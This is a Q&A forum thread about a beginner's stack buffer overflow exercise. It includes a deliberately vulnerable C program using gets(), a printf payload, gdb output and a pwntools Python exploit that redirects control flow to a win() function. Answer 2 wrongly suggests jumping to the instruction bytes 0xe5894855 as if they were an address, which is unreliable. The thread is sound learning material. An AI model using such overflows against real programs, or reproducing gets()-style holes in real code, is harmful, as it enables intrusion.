Overflowing the buffer yet not jumping to address

Question

I am a beginner at buffer overflows been studying this subject from a few days and i found this exercise (code from: here)

I think understand the basic concept i write more than 64 bytes characters and the gets function overflows the next address on the stack because it cannot determine the length of my chars and i overwrite the next address with a location of my choice which the esp executes am i right ?

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
}
}

Following the code i use the printf command in the terminal

printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3

i get the segfault which i am supposed to and the printf in the program shows me that i am overwriting with the proper address

(gdb) x win
0x6ca <win>:    0xe5894855

terminal:

calling function pointer, jumping to 0x000006ca
Segmentation fault

Answer 1

I think understand the basic concept i write more than 64 bytes characters and the gets function overflows the next address on the stack because it cannot determine the length of my chars and i overwrite the next address with a location of my choice which the esp executes am i right ?

Not exactly! ESP doesn't execute your shellcode (ESP is just a 32-bit register), but points to that, so by controlling EIP and make it point to e.g. jmp esp instruction's address you can easily access the shellcode location on the stack and execute it. In your case you don't need to make EIP point to a jmp esp instruction but with the address of win function.

So assuming that the goal of the exercise is to try to modify program's control flow in order to make win() function to be executed even if it isn't called in main. The first thing to do is to determine the exact offset you need in order to be able to control the EIP register. To do that you need a debugger like gdb. I also suggest gdb-peda which automates a lot of useful stuff like pattern creation etc...

Then you can use that to overflow the buffer and redirect the control flow to win(). Assuming aslr is disabled you can easily find the address of win using gdb. Then you can construct you exploit (I used python) as follows:

#!/usr/bin/env python

from pwn import *

offset = 64                  # offset to control EIP
ret_address = p32(0x40057d)  # address of win() packed for x86 archs

payload = "A" * offset + ret_address  # final payload

p = process('./test')  # execute the test binary
p.sendline(payload)    # send our payload
print p.recv()         # get the output

In the above code-snippet I used pwntools to make it easier to interact with the binary but you can do the same thing without using any external modules.

Notes:

• I tried the above code on x86-bit system but you can easily modify it in order to work with x64 bit also.
• In addition the address of win() function will probably be different from the one I posted.
• For the sake of simplicity I assume aslr is disabled.

Answer 2

Try jumping to 0xe5894855 instead. The 0x06ca migth be just a pointer.